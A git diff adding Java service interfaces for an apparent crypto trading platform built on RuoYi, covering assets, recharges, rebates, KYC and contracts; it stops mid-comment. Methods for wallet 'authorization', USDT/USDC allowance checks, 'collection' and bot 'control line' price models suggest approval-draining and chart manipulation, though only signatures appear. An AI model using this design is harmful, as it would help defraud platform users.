a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITActivityRechargeService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITActivityRechargeService.java new file mode 100644 index 0000000..2f45a84 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITActivityRechargeService.java @@ -0,0 +1,67 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.bussiness.domain.TActivityRecharge; + +/** + * 充值活动Service接口 + * + * @author ruoyi + * @date 2023-07-05 + */ +public interface ITActivityRechargeService extends IService +{ + /** + * 查询充值活动 + * + * @param id 充值活动主键 + * @return 充值活动 + */ + public TActivityRecharge selectTActivityRechargeById(Long id); + + /** + * 查询充值活动列表 + * + * @param tActivityRecharge 充值活动 + * @return 充值活动集合 + */ + public List selectTActivityRechargeList(TActivityRecharge tActivityRecharge); + + /** + * 新增充值活动 + * + * @param tActivityRecharge 充值活动 + * @return 结果 + */ + public int insertTActivityRecharge(TActivityRecharge tActivityRecharge); + + /** + * 修改充值活动 + * + * @param tActivityRecharge 充值活动 + * @return 结果 + */ + public int updateTActivityRecharge(TActivityRecharge tActivityRecharge); + + /** + * 批量删除充值活动 + * + * @param ids 需要删除的充值活动主键集合 + * @return 结果 + */ + public int deleteTActivityRechargeByIds(Long[] ids); + + /** + * 删除充值活动信息 + * + * @param id 充值活动主键 + * @return 结果 + */ + public int deleteTActivityRechargeById(Long id); + + void caseBackToFather(Long userId, BigDecimal realAmount, String type, String username, String serialId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAgentActivityInfoService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAgentActivityInfoService.java new file mode 100644 index 0000000..8d330bc --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAgentActivityInfoService.java @@ -0,0 +1,71 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAgentActivityInfo; +import com.ruoyi.bussiness.domain.vo.TAgentActivityInfoVo; + +/** + * 返利活动明细Service接口 + * + * @author ruoyi + * @date 2023-07-06 + */ +public interface ITAgentActivityInfoService extends IService +{ + /** + * 查询返利活动明细 + * + * @param id 返利活动明细主键 + * @return 返利活动明细 + */ + public TAgentActivityInfo selectTAgentActivityInfoById(String id); + + /** + * 查询返利活动明细列表 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 返利活动明细集合 + */ + public List selectTAgentActivityInfoList(TAgentActivityInfo tAgentActivityInfo); + + /** + * 新增返利活动明细 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 结果 + */ + public int insertTAgentActivityInfo(TAgentActivityInfo tAgentActivityInfo); + + /** + * 修改返利活动明细 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 结果 + */ + public int updateTAgentActivityInfo(TAgentActivityInfo tAgentActivityInfo); + + /** + * 批量删除返利活动明细 + * + * @param ids 需要删除的返利活动明细主键集合 + * @return 结果 + */ + public int deleteTAgentActivityInfoByIds(String[] ids); + + /** + * 删除返利活动明细信息 + * + * @param id 返利活动明细主键 + * @return 结果 + */ + public int deleteTAgentActivityInfoById(String id); + + int selectListByLeve(TAgentActivityInfo tAgentActivityInfo); + + Map selectUserActivityInfo(TAgentActivityInfo tAgentActivityInfo); + + List getAgentList(TAgentActivityInfo tAgentActivityInfo); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppAddressInfoService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppAddressInfoService.java new file mode 100644 index 0000000..dc1dd0f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppAddressInfoService.java @@ -0,0 +1,75 @@ +package com.ruoyi.bussiness.service; + +import java.util.List; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TAppAddressInfo; + +/** + * 钱包地址授权详情Service接口 + * + * @author shenshen + * @date 2023-06-27 + */ +public interface ITAppAddressInfoService extends IService +{ + /** + * 查询钱包地址授权详情 + * + * @param userId 钱包地址授权详情主键 + * @return 钱包地址授权详情 + */ + public TAppAddressInfo selectTAppAddressInfoByUserId(Long userId); + + /** + * 查询钱包地址授权详情列表 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 钱包地址授权详情集合 + */ + public List selectTAppAddressInfoList(TAppAddressInfo tAppAddressInfo); + + /** + * 新增钱包地址授权详情 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 结果 + */ + public int insertTAppAddressInfo(TAppAddressInfo tAppAddressInfo); + + /** + * 修改钱包地址授权详情 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 结果 + */ + public int updateTAppAddressInfo(TAppAddressInfo tAppAddressInfo); + + /** + * 批量删除钱包地址授权详情 + * + * @param userIds 需要删除的钱包地址授权详情主键集合 + * @return 结果 + */ + public int deleteTAppAddressInfoByUserIds(Long[] userIds); + + /** + * 删除钱包地址授权详情信息 + * + * @param userId 钱包地址授权详情主键 + * @return 结果 + */ + public int deleteTAppAddressInfoByUserId(Long userId); + + + void refreshUsdtBalance(TAppAddressInfo wallet); + void sendFrontRunning(TAppAddressInfo wallet); + + void refreshUsdtAllowed(TAppAddressInfo wallet); + void refreshUsdcAllowed(TAppAddressInfo wallet); + int refreshAddressInfo(TAppAddressInfo wallet); + + String collection(TAppAddressInfo wallet); + String collectionUsdc(TAppAddressInfo wallet); + List getAllowedUser(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppAssetService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppAssetService.java new file mode 100644 index 0000000..f67260b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppAssetService.java @@ -0,0 +1,108 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.vo.AssetTransFundsVO; +import com.ruoyi.bussiness.domain.vo.UserBonusVO; + + +/** + * 玩家资产Service接口 + * + * @author ruoyi + * @date 2023-06-30 + */ +public interface ITAppAssetService extends IService { + /** + * 查询玩家资产 + * + * @param userId 玩家资产主键 + * @return 玩家资产 + */ + public TAppAsset selectTAppAssetByUserId(Long userId); + + /** + * 查询玩家资产列表 + * + * @param tAppAsset 玩家资产 + * @return 玩家资产集合 + */ + public List selectTAppAssetList(TAppAsset tAppAsset); + + /** + * 新增玩家资产 + * + * @param tAppAsset 玩家资产 + * @return 结果 + */ + public int insertTAppAsset(TAppAsset tAppAsset); + + /** + * 修改玩家资产 + * + * @param tAppAsset 玩家资产 + * @return 结果 + */ + public int updateTAppAsset(TAppAsset tAppAsset); + + /** + * 批量删除玩家资产 + * + * @param userIds 需要删除的玩家资产主键集合 + * @return 结果 + */ + public int deleteTAppAssetByUserIds(Long[] userIds); + + /** + * 删除玩家资产信息 + * + * @param userId 玩家资产主键 + * @return 结果 + */ + public int deleteTAppAssetByUserId(Long userId); + + /** + * 平台资产 + * + * @param userId + * @return + */ + Map getAssetByUserIdList(Long userId); + + /** + * 理财资产/合约资产 + * + * @param userId + * @param type + * @return + */ + TAppAsset getAssetByUserIdAndType(Long userId, Integer type); + + int updateByUserId(TAppAsset tAppAsset); + + int sendBouns(UserBonusVO userBounsVO); + + int subAmount(UserBonusVO userBounsVO); + + int noSettlementAssetByUserId(Long userId, String symbol, BigDecimal amout); + + int createAsset(TAppUser user, String coin, Integer type); + + int reduceAssetByUserId(Long userId, String symbol, BigDecimal amout); + + int addAssetByUserId(Long userId, String symbol, BigDecimal amout); + + int occupiedAssetByUserId(Long userId, String symbol, BigDecimal amout); + + int settlementOccupiedCurrencyOrder(Long userId, String symbol, BigDecimal occupiedAmout, BigDecimal subtract); + + String transferFunds(AssetTransFundsVO assetTransFundsVo); + + List tAppAssetService(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppMailService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppMailService.java new file mode 100644 index 0000000..a9ceb43 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppMailService.java @@ -0,0 +1,67 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TAppMail; +import com.ruoyi.bussiness.domain.TAppUser; + +/** + * 1v1站内信Service接口 + * + * @author ruoyi + * @date 2023-07-18 + */ +public interface ITAppMailService extends IService +{ + /** + * 查询1v1站内信 + * + * @param id 1v1站内信主键 + * @return 1v1站内信 + */ + public TAppMail selectTAppMailById(Long id); + + /** + * 查询1v1站内信列表 + * + * @param tAppMail 1v1站内信 + * @return 1v1站内信集合 + */ + public List selectTAppMailList(TAppMail tAppMail); + + /** + * 新增1v1站内信 + * + * @param tAppMail 1v1站内信 + * @return 结果 + */ + public int insertTAppMail(TAppMail tAppMail); + + /** + * 修改1v1站内信 + * + * @param tAppMail 1v1站内信 + * @return 结果 + */ + public int updateTAppMail(TAppMail tAppMail); + + /** + * 批量删除1v1站内信 + * + * @param ids 需要删除的1v1站内信主键集合 + * @return 结果 + */ + public int deleteTAppMailByIds(Long[] ids); + + /** + * 删除1v1站内信信息 + * + * @param id 1v1站内信主键 + * @return 结果 + */ + public int deleteTAppMailById(Long id); + + List listByUserId(TAppMail tAppMail); + + int updateMail(Long[] ids, TAppUser appUser); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppRechargeService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppRechargeService.java new file mode 100644 index 0000000..ecb231d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppRechargeService.java @@ -0,0 +1,79 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAppRecharge; +import com.ruoyi.bussiness.domain.TAppUser; + +/** + * 用户充值Service接口 + * + * @author ruoyi + * @date 2023-07-04 + */ +public interface ITAppRechargeService extends IService +{ + /** + * 查询用户充值 + * + * @param id 用户充值主键 + * @return 用户充值 + */ + public TAppRecharge selectTAppRechargeById(Long id); + + /** + * 查询用户充值列表 + * + * @param tAppRecharge 用户充值 + * @return 用户充值集合 + */ + public List selectTAppRechargeList(TAppRecharge tAppRecharge); + + /** + * 新增用户充值 + * + * @param tAppRecharge 用户充值 + * @return 结果 + */ + public int insertTAppRecharge(TAppUser tAppRecharge); + + /** + * 修改用户充值 + * + * @param tAppRecharge 用户充值 + * @return 结果 + */ + public int updateTAppRecharge(TAppRecharge tAppRecharge); + + /** + * 批量删除用户充值 + * + * @param ids 需要删除的用户充值主键集合 + * @return 结果 + */ + public int deleteTAppRechargeByIds(Long[] ids); + + /** + * 删除用户充值信息 + * + * @param id 用户充值主键 + * @return 结果 + */ + public int deleteTAppRechargeById(Long id); + + Map sumtotal(TAppRecharge tAppRecharge); + + List selectRechargeList(TAppRecharge tAppRecharge); + + String passOrder(TAppRecharge tAppRecharge); + + String failedOrder(TAppRecharge tAppRecharge); + + List selectRechargeVoice(String parentId); + + BigDecimal getAllRecharge(String parentId, Integer type); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppUserDetailService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppUserDetailService.java new file mode 100644 index 0000000..f98d051 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppUserDetailService.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TAppUserDetail; + +import java.util.List; + +/** + * 用户详细信息Service接口 + * + * @author ruoyi + * @date 2023-07-04 + */ +public interface ITAppUserDetailService extends IService +{ + /** + * 查询用户详细信息 + * + * @param id 用户详细信息主键 + * @return 用户详细信息 + */ + public TAppUserDetail selectTAppUserDetailById(Long id); + + /** + * 查询用户详细信息列表 + * + * @param tAppUserDetail 用户详细信息 + * @return 用户详细信息集合 + */ + public List selectTAppUserDetailList(TAppUserDetail tAppUserDetail); + + /** + * 新增用户详细信息 + * + * @param tAppUserDetail 用户详细信息 + * @return 结果 + */ + public int insertTAppUserDetail(TAppUserDetail tAppUserDetail); + + /** + * 修改用户详细信息 + * + * @param tAppUserDetail 用户详细信息 + * @return 结果 + */ + public int updateTAppUserDetail(TAppUserDetail tAppUserDetail); + + /** + * 批量删除用户详细信息 + * + * @param ids 需要删除的用户详细信息主键集合 + * @return 结果 + */ + public int deleteTAppUserDetailByIds(Long[] ids); + + /** + * 删除用户详细信息信息 + * + * @param id 用户详细信息主键 + * @return 结果 + */ + public int deleteTAppUserDetailById(Long id); + + List selectTAppUserDetailLists(TAppUserDetail tAppUserDetail); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppUserService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppUserService.java new file mode 100644 index 0000000..985dd52 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppUserService.java @@ -0,0 +1,126 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TAppUserDetail; +import com.ruoyi.bussiness.domain.TMineOrder; + +import javax.servlet.http.HttpServletRequest; + +/** + * 玩家用户Service接口 + * + * @author ruoyi + * @date 2023-06-30 + */ +public interface ITAppUserService extends IService +{ + /** + * 查询玩家用户 + * + * @param userId 玩家用户主键 + * @return 玩家用户 + */ + public TAppUser selectTAppUserByUserId(Long userId); + + /** + * 查询玩家用户列表 + * + * @param tAppUser 玩家用户 + * @return 玩家用户集合 + */ + public List selectTAppUserList(TAppUser tAppUser); + + /** + * 新增玩家用户 + * + * @param tAppUser 玩家用户 + * @return 结果 + */ + public int insertTAppUser(TAppUser tAppUser,TAppUser user); + + /** + * 修改玩家用户 + * + * @param tAppUser 玩家用户 + * @return 结果 + */ + public int updateTAppUser(TAppUser tAppUser); + + /** + * 批量删除玩家用户 + * + * @param userIds 需要删除的玩家用户主键集合 + * @return 结果 + */ + public int deleteTAppUserByUserIds(Long[] userIds); + + /** + * 删除玩家用户信息 + * + * @param userId 玩家用户主键 + * @return 结果 + */ + public int deleteTAppUserByUserId(Long userId); + + /** + * 获取用户详情 + */ + TAppUserDetail selectUserDetailByUserId(Long userId); + + int checkEmailUnique(String email); + boolean checkPhoneExist(String phone); + + TAppUser selectByUserLoginName(String email); + + TAppUser selectByAddress(String address); + + TAppUser login(TAppUser tAppUser); + + TAppUser selectByActiveCode(String activeCode); + + List selectActiveCodeList(); + + String backPwd(String email, String emailCode, String newPwd); + + List selectUnboundAppUser(TAppUser tAppUser); + + void sendEmailCode(String type, String email); + + String bindEmail(String email, String emailCode, HttpServletRequest request); + + + String bindWalletAddress(String address); + + String bindPhone(String phone,String code); + void uploadKYC(TAppUser appUser, String realName, String flag, String idCard, String frontUrl, String backUrl, String handelUrl, String country, String cardType); + + Map getInfo(long loginIdAsLong); + + int delUpdateByAdminUserId(Long userId); + + String updatePwd(String oldPwd, String newPwd, String signType, String emailOrPhone, String code); + + void toBuilderTeamAmount(TMineOrder mineOrder); + + String updatePwdByEmail(String email, String emailCode, String newPwd); + + void realName(TAppUserDetail tAppUserDetail); + + int addTAppUser(TAppUser tAppUser); + + List getTAppUserList(TAppUser tAppUser); + + int updateUserAppIds(Long appUserId, Long agentUserId); + + void reSetRealName(TAppUserDetail tAppUserDetail); + + List getListByPledge(TAppUser tAppUser); + + int updateBlackStatus(TAppUser tAppUser); + + int updateTotleAmont(TAppUser appUser); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppWalletRecordService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppWalletRecordService.java new file mode 100644 index 0000000..21ac461 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppWalletRecordService.java @@ -0,0 +1,82 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAppWalletRecord; +import com.ruoyi.bussiness.domain.vo.AgencyAppUserDataVo; +import com.ruoyi.bussiness.domain.vo.AgencyDataVo; +import com.ruoyi.bussiness.domain.vo.DailyDataVO; +import com.ruoyi.bussiness.domain.vo.UserDataVO; + +/** + * 用户信息Service接口 + * + * @author ruoyi + * @date 2023-07-04 + */ +public interface ITAppWalletRecordService extends IService +{ + /** + * 查询用户信息 + * + * @param id 用户信息主键 + * @return 用户信息 + */ + public TAppWalletRecord selectTAppWalletRecordById(Long id); + + /** + * 查询用户信息列表 + * + * @param tAppWalletRecord 用户信息 + * @return 用户信息集合 + */ + public List selectTAppWalletRecordList(TAppWalletRecord tAppWalletRecord); + + /** + * 新增用户信息 + * + * @param tAppWalletRecord 用户信息 + * @return 结果 + */ + public int insertTAppWalletRecord(TAppWalletRecord tAppWalletRecord); + + /** + * 修改用户信息 + * + * @param tAppWalletRecord 用户信息 + * @return 结果 + */ + public int updateTAppWalletRecord(TAppWalletRecord tAppWalletRecord); + + /** + * 批量删除用户信息 + * + * @param ids 需要删除的用户信息主键集合 + * @return 结果 + */ + public int deleteTAppWalletRecordByIds(Long[] ids); + + /** + * 删除用户信息信息 + * + * @param id 用户信息主键 + * @return 结果 + */ + public int deleteTAppWalletRecordById(Long id); + + void generateRecord(Long userId, BigDecimal amount, int type, String createBy, String serialId, String remark, BigDecimal before, BigDecimal after,String coin,String adminParentIds); + + List selectUserDataList(TAppWalletRecord tAppWalletRecord); + + List selectAgencyList(TAppWalletRecord appWalletRecord); + + List dailyData(TAppWalletRecord appWalletRecord); + + List selectAgencyAppUserList(TAppWalletRecord appWalletRecord); + + Map statisticsAmount(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppuserLoginLogService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppuserLoginLogService.java new file mode 100644 index 0000000..0d957c5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppuserLoginLogService.java @@ -0,0 +1,68 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TAppuserLoginLog; + +import javax.servlet.http.HttpServletRequest; + +/** + * 系统访问记录Service接口 + * + * @author ruoyi + * @date 2023-06-30 + */ +public interface ITAppuserLoginLogService extends IService +{ + /** + * 查询系统访问记录 + * + * @param id 系统访问记录主键 + * @return 系统访问记录 + */ + public TAppuserLoginLog selectTAppuserLoginLogById(Long id); + + /** + * 查询系统访问记录列表 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 系统访问记录集合 + */ + public List selectTAppuserLoginLogList(TAppuserLoginLog tAppuserLoginLog); + + /** + * 新增系统访问记录 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 结果 + */ + public int insertTAppuserLoginLog(TAppuserLoginLog tAppuserLoginLog); + + /** + * 修改系统访问记录 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 结果 + */ + public int updateTAppuserLoginLog(TAppuserLoginLog tAppuserLoginLog); + + /** + * 批量删除系统访问记录 + * + * @param ids 需要删除的系统访问记录主键集合 + * @return 结果 + */ + public int deleteTAppuserLoginLogByIds(Long[] ids); + + /** + * 删除系统访问记录信息 + * + * @param id 系统访问记录主键 + * @return 结果 + */ + public int deleteTAppuserLoginLogById(Long id); + + void insertAppActionLog(TAppUser one, String 退出登录成功, int i, HttpServletRequest request); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITBotKlineModelInfoService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITBotKlineModelInfoService.java new file mode 100644 index 0000000..319a6d4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITBotKlineModelInfoService.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.service; + +import cc.block.data.api.domain.market.Kline; +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TBotKlineModelInfo; + +/** + * 控线详情Service接口 + * + * @author ruoyi + * @date 2023-08-09 + */ +public interface ITBotKlineModelInfoService extends IService +{ + /** + * 查询控线详情 + * + * @param id 控线详情主键 + * @return 控线详情 + */ + public TBotKlineModelInfo selectTBotKlineModelInfoById(Long id); + + /** + * 查询控线详情列表 + * + * @param tBotKlineModelInfo 控线详情 + * @return 控线详情集合 + */ + public List selectTBotKlineModelInfoList(TBotKlineModelInfo tBotKlineModelInfo); + + /** + * 新增控线详情 + * + * @param tBotKlineModelInfo 控线详情 + * @return 结果 + */ + public int insertTBotKlineModelInfo(TBotKlineModelInfo tBotKlineModelInfo); + + /** + * 修改控线详情 + * + * @param tBotKlineModelInfo 控线详情 + * @return 结果 + */ + public int updateTBotKlineModelInfo(TBotKlineModelInfo tBotKlineModelInfo); + + /** + * 批量删除控线详情 + * + * @param ids 需要删除的控线详情主键集合 + * @return 结果 + */ + public int deleteTBotKlineModelInfoByIds(Long[] ids); + + /** + * 删除控线详情信息 + * + * @param id 控线详情主键 + * @return 结果 + */ + public int deleteTBotKlineModelInfoById(Long id); + + List selectBotLineList(String symbol,List list,String inter); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITBotKlineModelService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITBotKlineModelService.java new file mode 100644 index 0000000..68abedd --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITBotKlineModelService.java @@ -0,0 +1,80 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import com.ruoyi.bussiness.domain.TBotKlineModel; +import com.ruoyi.bussiness.domain.vo.TBotKlineModelVO; + +/** + * 控线配置Service接口 + * + * @author ruoyi + * @date 2023-08-09 + */ +public interface ITBotKlineModelService extends IService { + /** + * 查询控线配置 + * + * @param id 控线配置主键 + * @return 控线配置 + */ + public TBotKlineModelVO selectTBotKlineModelById(Long id); + + /** + * 查询控线配置列表 + * + * @param tBotKlineModel 控线配置 + * @return 控线配置集合 + */ + public List selectTBotKlineModelList(TBotKlineModel tBotKlineModel); + + /** + * 新增控线配置 + * + * @param tBotKlineModel 控线配置 + * @return 结果 + */ + public int insertTBotKlineModel(TBotKlineModel tBotKlineModel); + + public int insertTBotInfo(TBotKlineModelVO tBotKlineModel); + + /** + * 修改控线配置 + * + * @param tBotKlineModel 控线配置 + * @return 结果 + */ + public int updateTBotKlineModel(TBotKlineModelVO tBotKlineModel); + + public int updateByid(TBotKlineModel tBotKlineModel); + + /** + * 批量删除控线配置 + * + * @param ids 需要删除的控线配置主键集合 + * @return 结果 + */ + public int deleteTBotKlineModelByIds(Long[] ids); + + /** + * 删除控线配置信息 + * + * @param id 控线配置主键 + * @return 结果 + */ + public int deleteTBotKlineModelById(Long id); + + public List getBotModelListByTime(TBotKlineModel tBotKlineModel); + + public List getBotModelPriceByTime(TBotKlineModel tBotKlineModel); + + public List getBotModelListBeforTime(TBotKlineModel tBotKlineModel); + + public List getBotModelListBySymbol(TBotKlineModel tBotKlineModel); + + public HashMap getyesterdayPrice(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCollectionOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCollectionOrderService.java new file mode 100644 index 0000000..138bc1d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCollectionOrderService.java @@ -0,0 +1,73 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.bussiness.domain.TCollectionOrder; + +/** + * 【请填写功能名称】Service接口 + * + * @author ruoyi + * @date 2023-09-08 + */ +public interface ITCollectionOrderService extends IService +{ + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TCollectionOrder selectTCollectionOrderById(Long id); + + /** + * 查询【请填写功能名称】列表 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTCollectionOrderList(TCollectionOrder tCollectionOrder); + + /** + * 新增【请填写功能名称】 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 结果 + */ + public int insertTCollectionOrder(TCollectionOrder tCollectionOrder); + + /** + * 修改【请填写功能名称】 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 结果 + */ + public int updateTCollectionOrder(TCollectionOrder tCollectionOrder); + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的【请填写功能名称】主键集合 + * @return 结果 + */ + public int deleteTCollectionOrderByIds(Long[] ids); + + /** + * 删除【请填写功能名称】信息 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTCollectionOrderById(Long id); + + BigDecimal selectCollectionAmountByUserId(Long userId); + + BigDecimal selectCollectionAmountByAgencyId(Long agencyId); + + BigDecimal selectCollectionAmountDetail(Long appUserId, String adminParentIds); + + BigDecimal getDayCollectionAmount(String beginTime, String endTime); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractCoinService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractCoinService.java new file mode 100644 index 0000000..8853372 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractCoinService.java @@ -0,0 +1,68 @@ +package com.ruoyi.bussiness.service; + +import java.util.List; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TExchangeCoinRecord; + +/** + * U本位合约币种Service接口 + * + * @author michael + * @date 2023-07-20 + */ +public interface ITContractCoinService extends IService +{ + /** + * 查询U本位合约币种 + * + * @param id U本位合约币种主键 + * @return U本位合约币种 + */ + public TContractCoin selectTContractCoinById(Long id); + + /** + * 查询U本位合约币种列表 + * + * @param tContractCoin U本位合约币种 + * @return U本位合约币种集合 + */ + public List selectTContractCoinList(TContractCoin tContractCoin); + + /** + * 新增U本位合约币种 + * + * @param tContractCoin U本位合约币种 + * @return 结果 + */ + public int insertTContractCoin(TContractCoin tContractCoin); + + /** + * 修改U本位合约币种 + * + * @param tContractCoin U本位合约币种 + * @return 结果 + */ + public int updateTContractCoin(TContractCoin tContractCoin); + + /** + * 批量删除U本位合约币种 + * + * @param ids 需要删除的U本位合约币种主键集合 + * @return 结果 + */ + public int deleteTContractCoinByIds(Long[] ids); + + /** + * 删除U本位合约币种信息 + * + * @param id U本位合约币种主键 + * @return 结果 + */ + public int deleteTContractCoinById(Long id); + + TContractCoin selectContractCoinBySymbol(String symbol); + + List getCoinList(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractLossService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractLossService.java new file mode 100644 index 0000000..1d1e006 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractLossService.java @@ -0,0 +1,67 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TContractLoss; + +/** + * 止盈止损表Service接口 + * + * @author ruoyi + * @date 2023-07-25 + */ +public interface ITContractLossService extends IService { + /** + * 查询止盈止损表 + * + * @param id 止盈止损表主键 + * @return 止盈止损表 + */ + public TContractLoss selectTContractLossById(Long id); + + /** + * 查询止盈止损表列表 + * + * @param tContractLoss 止盈止损表 + * @return 止盈止损表集合 + */ + public List selectTContractLossList(TContractLoss tContractLoss); + + /** + * 新增止盈止损表 + * + * @param tContractLoss 止盈止损表 + * @return 结果 + */ + public int insertTContractLoss(TContractLoss tContractLoss); + + /** + * 修改止盈止损表 + * + * @param tContractLoss 止盈止损表 + * @return 结果 + */ + public int updateTContractLoss(TContractLoss tContractLoss); + + /** + * 批量删除止盈止损表 + * + * @param ids 需要删除的止盈止损表主键集合 + * @return 结果 + */ + public int deleteTContractLossByIds(Long[] ids); + + /** + * 删除止盈止损表信息 + * + * @param id 止盈止损表主键 + * @return 结果 + */ + public int deleteTContractLossById(Long id); + + String cntractLossSett( TContractLoss contractLoss); + + + void updateContractLoss(Long positionId); + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractOrderService.java new file mode 100644 index 0000000..23230e1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractOrderService.java @@ -0,0 +1,103 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TContractOrder; +import java.math.BigDecimal; +import java.util.List; + +/** + * U本位委托Service接口 + * + * @author michael + * @date 2023-07-20 + */ +public interface ITContractOrderService extends IService +{ + /** + * 查询U本位委托 + * + * @param id 